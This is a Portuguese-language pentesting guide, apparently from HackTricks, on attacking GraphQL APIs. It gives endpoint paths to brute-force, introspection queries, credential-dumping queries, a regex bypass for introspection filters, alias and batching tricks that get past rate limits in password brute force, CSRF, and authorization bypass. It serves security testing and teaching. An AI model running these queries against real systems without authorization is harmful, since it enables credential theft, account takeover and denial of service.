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GraphQL

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Introdução

O GraphQL é destacado como uma alternativa eficiente às APIs REST, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com o REST, que frequentemente exige numerosas solicitações em endpoints variados para reunir dados, o GraphQL permite a obtenção de todas as informações necessárias por meio de uma única solicitação. Essa otimização beneficia significativamente os desenvolvedores, diminuindo a complexidade de seus processos de busca de dados.

GraphQL e Segurança

Com o surgimento de novas tecnologias, incluindo o GraphQL, novas vulnerabilidades de segurança também surgem. Um ponto chave a ser observado é que o GraphQL não inclui mecanismos de autenticação por padrão. É responsabilidade dos desenvolvedores implementar tais medidas de segurança. Sem autenticação adequada, os endpoints do GraphQL podem expor informações sensíveis a usuários não autenticados, representando um risco significativo de segurança.

Ataques de Força Bruta em Diretórios e GraphQL

Para identificar instâncias de GraphQL expostas, é recomendável a inclusão de caminhos específicos em ataques de força bruta em diretórios. Esses caminhos são:

  • /graphql

  • /graphiql

  • /graphql.php

  • /graphql/console

  • /api

  • /api/graphql

  • /graphql/api

  • /graphql/graphql

Identificar instâncias de GraphQL abertas permite a análise das consultas suportadas. Isso é crucial para entender os dados acessíveis pelo endpoint. O sistema de introspecção do GraphQL facilita isso detalhando as consultas que um esquema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: GraphQL: Uma linguagem de consulta para APIs.

Impressão Digital

A ferramenta graphw00f é capaz de detectar qual mecanismo GraphQL é usado em um servidor e então imprime algumas informações úteis para o auditor de segurança.

Consultas Universais

Para verificar se uma URL é um serviço GraphQL, uma consulta universal, query{__typename}, pode ser enviada. Se a resposta incluir {"data": {"__typename": "Query"}}, confirma que a URL hospeda um endpoint GraphQL. Este método depende do campo __typename do GraphQL, que revela o tipo do objeto consultado.

query{__typename}

Enumeração Básica

O GraphQL geralmente suporta GET, POST (x-www-form-urlencoded) e POST(json). Embora por motivos de segurança seja recomendado permitir apenas json para prevenir ataques CSRF.

Introspecção

Para usar a introspecção e descobrir informações do esquema, consulte o campo __schema. Este campo está disponível no tipo raiz de todas as consultas.

query={__schema{types{name,fields{name}}}}

Com esta consulta, você encontrará o nome de todos os tipos sendo usados:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Com esta consulta, você pode extrair todos os tipos, seus campos e argumentos (e o tipo dos argumentos). Isso será muito útil para saber como consultar o banco de dados.

Erros

É interessante saber se os erros serão exibidos, pois contribuirão com informações úteis.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerar Esquema do Banco de Dados via Introspeção

Se a introspeção estiver ativada, mas a consulta acima não funcionar, tente remover as diretivas onOperation, onFragment e onField da estrutura da consulta.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Consulta de introspeção em linha:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

A última linha de código é uma consulta graphql que irá despejar todas as metainformações do graphql (nomes de objetos, parâmetros, tipos...)

Se a introspecção estiver habilitada, você pode usar GraphQL Voyager para visualizar em uma GUI todas as opções.

Consultando

Agora que sabemos que tipo de informações estão salvas no banco de dados, vamos tentar extrair alguns valores.

Na introspecção, você pode encontrar quais objetos você pode consultar diretamente (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "queryType" é chamado "Query" e que um dos campos do objeto "Query" é "flags", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.

Observe que o tipo da consulta "flags" é "Flags", e este objeto é definido como abaixo:

Você pode ver que os objetos "Flags" são compostos por nome e valor. Então você pode obter todos os nomes e valores das flags com a consulta:

query={flags{name, value}}

Note que, caso o objeto a ser consultado seja um tipo primitivo como string como no exemplo a seguir

Você pode consultá-lo apenas com:

query={hiddenFlags}

Em outro exemplo em que havia 2 objetos dentro do objeto tipo "Query": "user" e "users". Se esses objetos não precisarem de nenhum argumento para pesquisa, poderia recuperar todas as informações deles apenas solicitando os dados desejados. Neste exemplo da Internet, você poderia extrair os nomes de usuário e senhas salvos:

No entanto, neste exemplo, se você tentar fazer isso, receberá este erro:

Parece que de alguma forma ele irá pesquisar usando o argumento "uid" do tipo Int. De qualquer forma, já sabíamos que, na seção de Enumeração Básica, foi proposta uma consulta que estava nos mostrando todas as informações necessárias: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Se você ler a imagem fornecida quando eu executar essa consulta, verá que "user" tinha o arg "uid" do tipo Int.

Assim, realizando uma leve força bruta em uid, descobri que em uid=1 um nome de usuário e uma senha foram recuperados: query={user(uid:1){user,password}}

Observe que descobri que poderia solicitar os parâmetros "user" e "password" porque se eu tentar procurar por algo que não existe (query={user(uid:1){noExists}}) recebo este erro:

E durante a fase de enumeração descobri que o objeto "dbuser" tinha como campos "user" e "password.

Truque de despejo de string de consulta (obrigado a @BinaryShadow_)

Se você puder pesquisar por um tipo de string, como: query={theusers(description: ""){username,password}} e você procurar por uma string vazia ele irá despejar todos os dados. (Observe que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você possa pesquisar usando "theusers" por um campo de String chamado "description").

Pesquisa

Nesta configuração, um banco de dados contém pessoas e filmes. Pessoas são identificadas por seus e-mails e nomes; filmes por seus nomes e classificações. Pessoas podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.

Você pode pesquisar pessoas pelo nome e obter seus e-mails:

{
searchPerson(name: "John Doe") {
email
}
}

Você pode pesquisar pessoas pelo nome e obter os filmes aos quais estão inscritas:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Observe como é indicado recuperar o name dos subscribedMovies da pessoa.

Também é possível pesquisar vários objetos ao mesmo tempo. Neste caso, uma busca por 2 filmes é realizada:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ou até mesmo relações de vários objetos diferentes usando aliases:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

As mutações são usadas para fazer alterações no lado do servidor.

Na introspecção você pode encontrar as mutações declaradas. Na seguinte imagem, o "MutationType" é chamado "Mutation" e o objeto "Mutation" contém os nomes das mutações (como "addPerson" neste caso):

Nesta configuração, um banco de dados contém pessoas e filmes. Pessoas são identificadas por seu e-mail e nome; filmes por seu nome e classificação. Pessoas podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.

Uma mutação para criar novos filmes dentro do banco de dados pode ser como a seguinte (neste exemplo, a mutação é chamada addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Observe como tanto os valores quanto o tipo de dados são indicados na consulta.

Além disso, o banco de dados suporta uma operação de mutação, chamada addPerson, que permite a criação de pessoas juntamente com suas associações a amigos e filmes existentes. É crucial observar que os amigos e filmes devem existir previamente no banco de dados antes de vinculá-los à pessoa recém-criada.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Sobrecarga de Diretivas

Conforme explicado em uma das vulnerabilidades descritas neste relatório, uma sobrecarga de diretivas implica na chamada de uma diretiva mesmo milhões de vezes para fazer o servidor desperdiçar operações até ser possível realizá-lo um ataque de negação de serviço (DoS).

Força bruta em lote em 1 solicitação de API

Essa informação foi retirada de https://lab.wallarm.com/graphql-batching-attack/. Autenticação por meio da API GraphQL com envio simultâneo de muitas consultas com credenciais diferentes para verificação. É um ataque clássico de força bruta, mas agora é possível enviar mais de um par de login/senha por solicitação HTTP devido ao recurso de loteamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que está tudo bem e que não há um bot de força bruta tentando adivinhar senhas.

Abaixo você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com 3 pares de email/senha diferentes por vez. Obviamente, é possível enviar milhares em uma única solicitação da mesma maneira:

Como podemos ver na captura de tela da resposta, a primeira e a terceira solicitações retornaram null e refletiram as informações correspondentes na seção de error. A segunda mutação teve os dados de autenticação corretos e a resposta possui o token de sessão de autenticação correto.

GraphQL Sem Introspecção

Cada vez mais os pontos finais do graphql estão desabilitando a introspecção. No entanto, os erros que o graphql lança quando uma solicitação inesperada é recebida são suficientes para ferramentas como clairvoyance recriarem a maior parte do esquema.

Além disso, a extensão do Burp Suite GraphQuail observa as solicitações da API GraphQL passando pelo Burp e constrói um esquema interno do GraphQL com cada nova consulta que vê. Também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso na API. Para mais informações verifique isso.

Uma lista de palavras útil para descobrir entidades GraphQL pode ser encontrada aqui.

Bypassing Defesas de Introspecção GraphQL

Burlando as Defesas de Introspecção GraphQL

Para burlar restrições em consultas de introspecção em APIs, inserir um caractere especial após a palavra-chave __schema se mostra eficaz. Este método explora descuidos comuns de desenvolvedores em padrões de regex que visam bloquear a introspecção ao focar na palavra-chave __schema. Ao adicionar caracteres como espaços, quebras de linha e vírgulas, que o GraphQL ignora mas que podem não ser considerados em regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma quebra de linha após __schema pode burlar tais defesas:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Se não tiver sucesso, considere métodos de solicitação alternativos, como solicitações GET ou POST com x-www-form-urlencoded, pois as restrições podem se aplicar apenas às solicitações POST.

Descobrindo Estruturas GraphQL Expostas

Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a guia Sources nas ferramentas de desenvolvedor, fornecendo insights sobre o esquema da API e revelando potencialmente consultas sensíveis expostas. Os comandos para pesquisar dentro das ferramentas de desenvolvedor são:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF no GraphQL

Se você não sabe o que é CSRF, leia a seguinte página:

pageCSRF (Cross Site Request Forgery)

Lá fora, você será capaz de encontrar vários endpoints GraphQL configurados sem tokens CSRF.

Observe que as solicitações GraphQL geralmente são enviadas via solicitações POST usando o Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

No entanto, a maioria dos pontos finais do GraphQL também suporta pedidos POST form-urlencoded:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Portanto, como solicitações CSRF como as anteriores são enviadas sem solicitações de preflight, é possível realizar alterações no GraphQL abusando de um CSRF.

No entanto, observe que o novo valor padrão do cookie da flag samesite do Chrome é Lax. Isso significa que o cookie só será enviado de um site de terceiros em solicitações GET.

Observe que geralmente é possível enviar a solicitação de consulta também como uma solicitação GET e o token CSRF pode não ser validado em uma solicitação GET.

Além disso, abusar de um ataque XS-Search pode ser possível para extrair conteúdo do ponto final do GraphQL abusando das credenciais do usuário.

Para mais informações, verifique a postagem original aqui.

Autorização no GraphQL

Muitas funções GraphQL definidas no ponto final podem verificar apenas a autenticação do solicitante, mas não a autorização.

Modificar as variáveis de entrada da consulta poderia resultar em detalhes da conta sensíveis vazados.

A mutação poderia até resultar em uma tomada de conta tentando modificar dados de outras contas.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass de autorização em GraphQL

Encadear consultas pode contornar um sistema de autenticação fraco.

No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso adicionamos "register" e uma variável de usuário para o sistema se registrar como um novo usuário.

Bypass de Limites de Taxa Usando Aliases em GraphQL

No GraphQL, os aliases são um recurso poderoso que permite nomear propriedades explicitamente ao fazer uma solicitação de API. Essa capacidade é particularmente útil para recuperar múltiplas instâncias do mesmo tipo de objeto em uma única solicitação. Os aliases podem ser usados para superar a limitação que impede que objetos GraphQL tenham várias propriedades com o mesmo nome.

Para uma compreensão detalhada dos aliases em GraphQL, recomenda-se o seguinte recurso: Aliases.

Embora o objetivo principal dos aliases seja reduzir a necessidade de inúmeras chamadas de API, foi identificado um caso de uso não intencional em que os aliases podem ser aproveitados para executar ataques de força bruta em um endpoint GraphQL. Isso é possível porque alguns endpoints são protegidos por limitadores de taxa projetados para impedir ataques de força bruta restringindo o número de solicitações HTTP. No entanto, esses limitadores de taxa podem não considerar o número de operações dentro de cada solicitação. Dado que os aliases permitem a inclusão de várias consultas em uma única solicitação HTTP, eles podem contornar tais medidas de limitação de taxa.

Considere o exemplo fornecido abaixo, que ilustra como consultas com aliases podem ser usadas para verificar a validade de códigos de desconto de loja. Este método poderia contornar a limitação de taxa, pois compila várias consultas em uma única solicitação HTTP, permitindo potencialmente a verificação de vários códigos de desconto simultaneamente.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Ferramentas

Scanners de Vulnerabilidades

Clientes

Testes Automáticos

https://graphql-dashboard.herokuapp.com/graphql-dashboard.herokuapp.com

Referências

Aprenda hacking na AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

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